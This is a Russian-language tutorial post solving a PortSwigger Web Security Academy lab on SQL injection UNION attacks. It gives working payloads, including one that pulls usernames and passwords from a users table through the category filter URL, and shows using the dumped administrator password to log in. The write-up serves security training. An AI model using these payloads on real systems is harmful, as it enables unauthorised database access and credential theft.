Найти тему
ЗА ИБАС

[PortSwigger, 5/16 SQLi] SQLi UNION-атака, получение данных пользователей из других таблиц

Оглавление

Не знаю кто ты, и что ты тут делаешь, но тут продолжается череда туториалов по PortSwigger Academy - SQL injection UNION attack, retrieving data from other tables

Lab: SQL injection UNION attack, retrieving data from other tables | Web Security Academy

Душная теория

Когда вы определили количество столбцов, возвращаемых исходным запросом, и нашли, какие столбцы могут содержать строковые данные, вы можете получить интересные данные.

Предположим, что:

  • Исходный запрос возвращает два столбца, оба из которых могут содержать строковые данные.
  • Эксплуатация — это строка с кавычками в предложении WHERE.
  • База данных содержит таблицу пользователей со столбцами имя пользователя и пароль.


В этой ситуации вы можете получить содержимое таблицы пользователей, отправив ввод:

' UNION SELECT username, password FROM users--


Конечно, ключевая информация, необходимая для выполнения этой атаки, заключается в том, что существует таблица пользователей с двумя столбцами, называемыми именем пользователя и паролем. Без этой информации вам пришлось бы пытаться угадать имена таблиц и столбцов. Фактически, все современные базы данных предоставляют способы изучения структуры базы данных, чтобы определить, какие таблицы и столбцы она содержит, но сегодня не об этом. Может быть позже, а может и нет

Постановка задачи

Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Результаты запроса возвращаются в ответе приложения, поэтому вы можете использовать атаку UNION для извлечения данных из других таблиц. Чтобы сконструировать такую атаку, вам нужно объединить некоторые приемы, которые вы изучили в предыдущих лабораторных работах.

База данных содержит другую таблицу, называемую users, со столбцами, называемыми username и password.

Чтобы решить лабораторную задачу, выполните атаку UNION с внедрением SQL, которая извлекает все имена пользователей и пароли, и используйте эту информацию для входа в систему в качестве пользователя-администратора.

Решение лабораторной работы

Нас встречает непонятный блок, с юзлесс инфой с которой мы будем играться

-2

Для начала давайте поймем сколько столбцов содержит данная таблица. Методологию описывали тут. Следующий запрос приведет нас к успеху

https://0afa0044034b5da0c07d7ca1001100aa.web-security-academy.net/filter?category=Gifts' UNION SELECT NULL, NULL--

-3

Далее найдем какие именно столбцы имеют текстовый формат даннных, как это делать мы описывали тут

https://0afa0044034b5da0c07d7ca1001100aa.web-security-academy.net/filter?category=Gifts' UNION SELECT 'a', 'a'--
-4

Мы обнаружили, что таблица содержит 2 поля, и оба являются текстовым. Как же классно, что в таске нам тоже нужно всего 2 поля - username и password и даже по чистой случайности знаем, в какой таблице это все лежит - users

https://0afa0044034b5da0c07d7ca1001100aa.web-security-academy.net/filter?category=Gifts' UNION SELECT username, password FROM users--
-5

Видим необходимого пользователя administrator с паролем hnrjvzm99es9qcuk2h9n

Его то мы и введем в лог-форме

-6

И получаем успешный вход в систему, который говорит что мы прошли лабу!

-7

Ты молодец! Не знаю зачем ты все еще это читаешь, но ты молодец

-8